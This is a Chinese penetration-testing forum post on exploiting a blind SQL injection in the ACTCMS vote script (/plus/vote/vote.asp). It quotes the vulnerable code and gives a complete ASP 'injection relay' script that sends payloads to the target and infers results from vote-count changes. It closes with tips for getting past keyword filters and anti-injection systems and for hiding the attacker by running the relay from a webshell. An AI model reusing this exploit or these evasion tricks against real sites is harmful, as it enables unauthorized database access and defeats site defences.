中国网络渗透测试联盟
标题:
注入中转的高级应用,actcms漏洞以及其他
[打印本页]
作者:
admin
时间:
2012-11-6 21:13
标题:
注入中转的高级应用,actcms漏洞以及其他
' `9 U% {' ]& h
看到ninty大牛的blog的一篇文章
) w) j9 e( K1 `, y# y- }/ F
链接标记[url]http://www.forjj.com/?action=show&id=80
[/url]
$ _/ \; k, M2 t" C: U8 P- L5 L
关于actcms漏洞的利用 by 3x qq:381862589
" L: \! ]( a- i
转载请注明以上
4 U* S) \- ?7 U1 f d2 A7 v, s& l# S
漏洞文件:
8 o( E2 A( n& ?/ e8 X k
/plus/vote/vote.asp
* m+ j- O S7 Q
代码:
链接标记预览源代码
链接标记打印
链接标记关于
1if request("voted").count=0 then
u9 q! Y' v7 k# u- K6 T# ]" S
0 M+ o/ `8 K' ^" z" x1 s& D
2 response.write "<script>alert('请选择投票项目。');window.close()</script>"
4 D* l' ^3 i6 \8 c% w. g1 |8 |1 {
7 P9 f3 \4 B6 P, N
3 response.end
* _/ j( e" h$ r/ W% {6 s6 ]" f
. S- C7 L2 e6 ^0 @
4 end if
* I9 X) E+ |9 L7 s* k# \, X
* J1 V* m8 D& P5 S( e
5 for i=1 to request("voted").count
2 V. p9 M" e. [0 |
$ u3 D; {8 o: T+ w
6 actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))
% @7 }' C1 q" N/ D
3 x* q' `0 s9 I2 F
7 next
; n1 q- ?3 g+ i0 {' t
8 w! D2 @9 ?) K+ | ^7 }; a& q
8....
7 s. T* n3 z, r' Y& G
# c6 I' t$ ]. |- |: j+ R2 c8 \* X
9response.Redirect "index.asp?id="&id&""
' A& Z0 A' Q* {; X( @; n' z `+ S
投票结束回跳转回index.asp这个投票结果页面
% K! c4 X8 k: F( ` y! S- }
如果投票成功票数加1
1 }! I( E: Q( Y8 E+ s7 f
失败票数不变
) m3 @* n; G$ t2 F
如图:
# Z D) p; h7 n6 P
http://www.t00ls.net/images/default/attachimg.gif
http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg
链接标记下载
(3.95 KB)
; H" [! ^% K0 R. q" W- d) q
* x& s3 `0 _. ~8 b
2009-12-27 13:20
1 y0 Q' j' `& u( E' S* P( B$ }
1 ^1 I* \4 v2 ]/ m0 D. e
利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了
! m$ ~5 M: s. q- \
$ _$ X' ]9 L+ w! [; s- r9 X
本帖隐藏的内容需要回复才可以浏览
+ q/ M# V6 d, Z
我们用注入中转来实现这个注入具体代码如下:
! @& r' ]0 X/ k; v/ b
先用寂寞的刺猬大牛的注入中转生成jmget.asp
5 g/ C0 m! w* P. F
注入地址:http://localhost/actcms/plus/vote/vote.asp
6 u7 c: m4 T. a- L m
注入键值:id=1&voted=-1 or 1= '这里这样换的话就有学问了,不用去判断有什么投票选项
6 y8 R( ]2 e+ u. x6 r# {/ t
% W. \7 x o1 p+ ^
然后进行修改变成如下代码:
链接标记预览源代码
链接标记打印
链接标记关于
01<%
0 G* T6 F* q( |3 \* ^
# E0 z9 ~8 X/ y+ j2 g8 @; @! ]
02JmdcwName=request("jmdcw")
" n6 N7 H0 Q; E! i- ?: B
! H3 U3 T$ j5 Q+ ^! Y* G
03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T]
& B0 x% q0 w3 E# Q! i
) j0 E" `3 q+ T5 _
04JmStr="id=1&voted=-1 or 1="&JmdcwName
% l. J) s8 U+ z, W3 M
( p3 A8 N H6 g1 b( s
05JmStr=URLEncoding(JmStr)
?6 Q" X, F) `( k0 O9 r' M; Y
% f+ G; ?+ I8 |( l" H& w
06JMUrl="
链接标记http://localhost/actcms/plus/vote/vote.asp
"
9 L- n+ s: I8 t( g+ l# Q8 a5 n
5 Q- L% C8 X T. |
07testurl="
链接标记http://localhost/actcms/plus/vote/index.asp
"
2 A e: O7 z8 |
) }# M, q- C8 ]2 c7 [+ v
08testurl=testurl & "?" & JmStr
# S" V" j7 F& [2 d
- A- y& l" Z$ F; h) g* d
09JMUrl=JMUrl & "?" & JmStr
8 V, g7 y I- b- r, u
8 ]2 {& X1 H1 o
10JmRef="
链接标记http://localhost/actcms/plus/vote/vote.asp
"
( X( _ U) W J2 H9 \
2 Q( T9 {; X: j
11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"
4 v( M& Y$ E; F+ R
& }8 Y, \5 W' w
12JmCok=replace(JmCok,chr(32),"%20")
0 }3 _) Y7 Z- b8 b9 B2 G9 V
# s) _4 C, X5 I% d6 t. v6 `$ R
13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数
- g9 Q- Z! n! n2 g9 |) s$ ~
: d8 W7 R% w$ ]6 v4 K
14
" q4 ?6 j2 g, V1 ^
4 O5 \& I; B3 k2 D6 m1 i8 [
15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票
: x% b. ]8 l- E5 F; D0 `8 o' v
0 F h" ?! ^" u& ]2 _0 O, F
16
8 o$ s1 X: h6 U/ S- k5 w5 H
* L& J7 B+ {4 e
17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录
* C1 O7 C+ p: u) D4 z; I- G
7 B% ~( G- S7 P# ^
18response.write test1&""&test2&""
0 l9 X6 I; W3 m
3 s) Y, k o2 [% p X/ F* b
19
$ y3 r& f; K9 f. J* ^
6 u0 r( q5 P, j8 |2 }) |
20if test1=test2 then '如前后记录相等,表示失败
( u$ |/ f6 D/ z8 g D. y/ A
8 M0 X" f. w9 v! D
21 response.write "failed"
# j! P3 n7 Z4 Y+ G
9 V4 A+ O! a1 F: U* F
22else
. v9 I( T2 r5 C0 B- W8 O2 z ?
2 [% t8 ^' j! v/ y
23 response.write "succeed"
$ u. S% q3 W3 D8 ?
! q5 t& s4 b9 A; g
24end if
4 R+ V, v8 d9 A5 O( X
+ o: j' n J, U# n% x' Y) S0 d! ]
25
6 w7 X3 f& | X# A9 {+ [+ w
1 _6 W, V5 n' B- ^2 R
26response.write "by 3x"
, N# @8 M& T1 Y) t: f
2 w* y0 |* i# D7 K: K- t
27
4 V6 n V! p/ \' C
+ M$ M! E8 Y% I3 ^! F+ A \$ v
28
+ R; ^ W4 S5 x2 e; |
8 _; h+ b ~3 R! T' j* S! r2 ?
29Function PostData(PostUrl,PostStr,PostCok,PostRef)
1 I3 U, w+ G/ ?! s% X! A! K& r
; J5 l- M7 {* C# a
30Dim Http
! k, P* u$ y( u, ^ X" t6 E. Q
$ ?5 i+ T: Z' A3 }/ B
31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
: M+ l l- M3 C$ i$ p4 S% F% ^
% o8 ~$ o1 m4 X
32With Http
/ l: U/ Q# o& G1 L5 \ e
# h+ x+ c1 L6 U
33
2 T0 _0 K: ~, Y
2 v7 P" W% D$ b9 V* Z1 u
34.Open "GET",PostUrl,False
8 g m6 k$ o: x4 f: w x5 z
" Q- h6 c/ A" E0 f8 i g
35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"
# D. ]6 c9 R1 z; \ q. h9 h/ M
. N) q2 l: a7 A4 o2 V/ n
36.SetRequestHeader "Referer",PostRef
: ^% D& a% ]! l" `4 R$ m
8 u- P5 b5 P' x
37.SetRequestHeader "Cookie",PostCok
9 l' f: c* h' X( x0 @
, q. R, Y4 }6 `
38.Send ()
6 a9 R0 Q; e) R% u, H& z
( ~ s& e9 Q2 ?) l9 }2 [- d Z
39PostData = .ResponseBody
6 A: ^! G5 `: G N7 `- N. A- v* H
% k& _8 e# b0 L. L2 ]0 z8 C4 ]
40End With
3 e6 }& S) i$ r b. F4 S9 O& h" q
7 D0 ?& [$ Y8 V7 |1 u( r c
41Set Http = Nothing
8 w3 C% E) T3 `
2 f& e7 c% Y8 M- e" s3 T4 |5 D
42PostData =bytes2BSTR(PostData)
' R) g5 [4 S' M* X
( B c7 L- ~ E0 R, E2 d5 E
43End Function
7 e$ B; p. m3 v& J# l
, f5 Q" a# _, G; Z* r \
44
! m* f0 E* U- v* {+ K: I
& ^8 B( Z. i' M& o1 Y' J
45
. }+ A# G/ M% M8 M8 R; l
6 x1 ~: T" \- I z
46Function bytes2BSTR(vIn)
" ?0 }1 ~2 y. p$ H
$ K$ x. S: t% K% R* u) l
47Dim strReturn
) F6 D) y: ?& R v2 a
* L: d/ ~2 I3 W! ~/ C
48Dim I, ThisCharCode, NextCharCode
0 Y, W1 B" `+ {# z. @6 x; s! _
% \5 u8 s' v8 p1 \9 w
49strReturn = ""
+ I8 B+ l" J* O4 ^9 N: |
6 X2 i. g" n! j1 U% m" F
50For I = 1 To LenB(vIn)
4 H8 P# z1 s+ R7 o0 E
& {2 }8 q' q1 C
51ThisCharCode = AscB(MidB(vIn, I, 1))
5 U' R, `1 w' Z; F- x% S
1 G0 h& E$ A4 W0 P2 p _
52If ThisCharCode < &H80 Then
6 K5 U: j* L- C3 q1 U! p
: K: g5 [1 B% C1 f3 ^
53strReturn = strReturn & Chr(ThisCharCode)
3 P; k- X1 r. a9 D: J/ A* H X' t, J, }
. Y; M$ R7 a3 m; d
54Else
2 M1 N8 Q( W& c. y2 \) _3 i
1 k# H1 `" Z3 O q
55NextCharCode = AscB(MidB(vIn, I + 1, 1))
. U2 b/ s4 c, V) Y% l; W# y6 ^
W: f. m" I r- a. r f9 F
56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
+ J( c- [. b8 }
9 s' w1 i& o- u3 `" l5 f9 z
57I = I + 1
9 M" V/ \# e, n; H+ H
( U7 \! [1 a& P( D6 ?
58End If
) _( b5 z% d# W6 \ ^' `' E5 M1 o
3 Z3 @- v$ p3 T& D P
59Next
+ ~5 C# e+ b( I3 {2 z# j- @7 ]/ I
! i6 Z; m( C! z& T% A! W
60bytes2BSTR = strReturn
+ G8 T3 O$ }/ w9 H9 `5 ?: u
! D% z( p- }2 Q3 O( {1 j k/ u
61End Function
( d+ U: t' C5 {8 V
& D3 M" o0 u, `
62
* t1 o$ c* B7 F+ Y* D: l. a' E
; g0 e3 ?% f6 {
63Function URLEncoding(vstrin)
# D" q+ v' w' x2 m* E
' h9 |7 u3 Y2 u- Y4 k% L W( d
64strReturn=""
+ K! T+ _ n# N+ O: H1 m
5 m- G- o$ i/ g, { p6 {& P0 X
65Dim i
, g& L* p- _$ F$ k
8 [5 D3 T) M: d" h+ M; r4 \
66For i=1 To Len(vstrin)
5 x9 O ^. b5 Q- i* \* {% I8 b$ V
, ~* `. B* C8 K+ p2 M
67ThisChr=Mid(vstrin,i,1)
' z6 W: @3 L% j1 e/ F9 A( D' b
: ?/ D3 B- |- y( e
68if Abs(Asc(ThisChr))< &HFF Then
# t* G, T5 P2 E2 `+ P4 d' |2 Z4 g* x
( }- H/ X1 ~8 w
69strReturn=strReturn & ThisChr
5 l+ X; @, h. z r* {+ q
2 Y4 \( n9 V& n3 l% `" I6 c: }
70Else
4 k; o2 n, p4 g- M5 ~
; u# j1 T4 [0 a8 ~ E* b
71InnerCode=Asc(ThisChr)
9 N2 q3 g" G0 r" [. C. K
: L6 i4 d* P$ u( `
72If InnerCode<0 Then
2 n6 ^7 B& F( k4 [
0 i6 e) ?: m1 y9 T) m
73InnerCode=InnerCode + &H10000
. Y. y/ S0 R/ M6 y" V+ r# s
6 Y$ \2 v% ?" p9 @5 q% x' c6 C; K2 K
74End If
, H/ G" Z% n) s" _7 E1 r% X
2 S* J9 R" K5 p- @4 q
75Hight1=(InnerCode And &HFF00) \&HFF
2 p8 \) g0 a6 Z7 P
# y8 X( b4 a3 Z3 v9 n
76Low1=InnerCode And &HFF
' f: Y$ R6 [/ C$ l; K
6 R) P/ j6 ^% P2 r% w
77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
( B0 f+ S1 f2 W7 e) t
+ @* z$ E2 @% c6 b/ F
78End if
: x# b1 k) X# \) \0 h2 G; D0 m
: v, Z3 {# Q& D, U
79Next
$ I& X" C6 C1 u! C( S+ l9 X8 \
% z+ y+ R4 y0 f# n8 B+ ^) O
80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20
$ ~/ X; B# F$ y1 I( b
" h+ g3 y2 G, \. g( K; Z9 E8 @0 w
81strReturn=Replace(strReturn,chr(43),"%2B") 'JMDCW增加转换+字符
4 Q9 d/ e! I7 u9 [; w
9 U+ y8 t/ Z; V3 a& k
82'strReturn=Replace(strReturn,过滤字符,"转换为字符") '在此增加要过滤的代码
) ]' B' o1 b |8 i' J
2 S, v/ @2 I$ a0 F& h% c
83URLEncoding=strReturn
& `# _1 I; W+ `3 l3 B
' j, j h& q% c o
84End Function
4 `# C4 ?. R6 G7 ^8 g: F; A
$ d5 S7 i) {& O# k" P, w; i
85
4 Q% [+ [/ r" q7 d8 d+ ~& p1 s
* Y( p2 g7 W# [$ f7 J* K0 I
86function getSt(body)
4 s3 e+ q; l+ u" h% a% m' i
! e) J) j' O. h
87 startpot=instr(body,"投票人数:")+len("投票人数:")
9 Q$ }" u) m1 |1 i! M( Y$ z
8 L9 t \* }0 _) P
88 endpot=instr(startpot,body," ")
" K+ Y' I( J! Y: ?' S0 X' c
. y5 ~" t( J( M9 d# X4 v
89 getSt=mid(body,startpot,endpot-startpot)
6 Q3 f5 @! J k5 U5 r
( b7 {7 u: m3 R
90end function
. [9 t3 v% K7 N1 J. B
9 _1 i6 ^" g `9 c8 p7 s
91%>
( ^/ W! B# z9 w- Q5 `% c) M
注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了
) q$ }# d( a8 p K- |$ }1 }
测试下效果:
' m7 P7 W3 m' F! j7 w1 t0 e
投票成功:
1 |$ [' k# f" X% f
http://www.t00ls.net/images/default/attachimg.gif
http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg
链接标记下载
(15.4 KB)
/ ~" R- j9 L& ^3 S+ I9 _
! `+ `: s2 Q8 p ^ W7 l
2009-12-27 13:29
5 @" x* p y1 y5 r
投票失败
8 r3 e7 m% g8 O* X# P
http://www.t00ls.net/images/default/attachimg.gif
http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg
链接标记下载
(13.72 KB)
0 e( A4 z9 N. C+ D J* X" D
2 `2 p* [8 o, _0 X0 d
2009-12-27 13:29
7 ^' o- m6 X1 ~7 x; |
-------------------------------------------------------------------------------
. V+ Q# b3 S9 V0 s( V
再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以
, _9 ?! e# K7 F5 S
很抱歉。。。只能用单线程工具去注入。。。。。
+ p- s3 r- I* i6 `; N8 k
所以失败。。。不好意思。。。
# p, j2 z/ Q. x: i* R
-------------------------------------------------------------------------------
7 @: h) N: ]. E, `' ?
( u2 n) H6 d) z
注入中转的一些其他应用
$ z: J$ x2 y; I! [
其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
$ @. t/ c$ j' _1 ^; x
1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id
8 f& I4 G* P* r# N
2.post注入转成get型的注入,方便我们使用工具来跑
8 P# F/ \8 f' Q
3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")
6 @, c; p+ @& W6 w+ p! ^
4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过
! c3 t, y# `" l8 B7 R
2 l8 M5 N8 w0 x4 ~: J
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2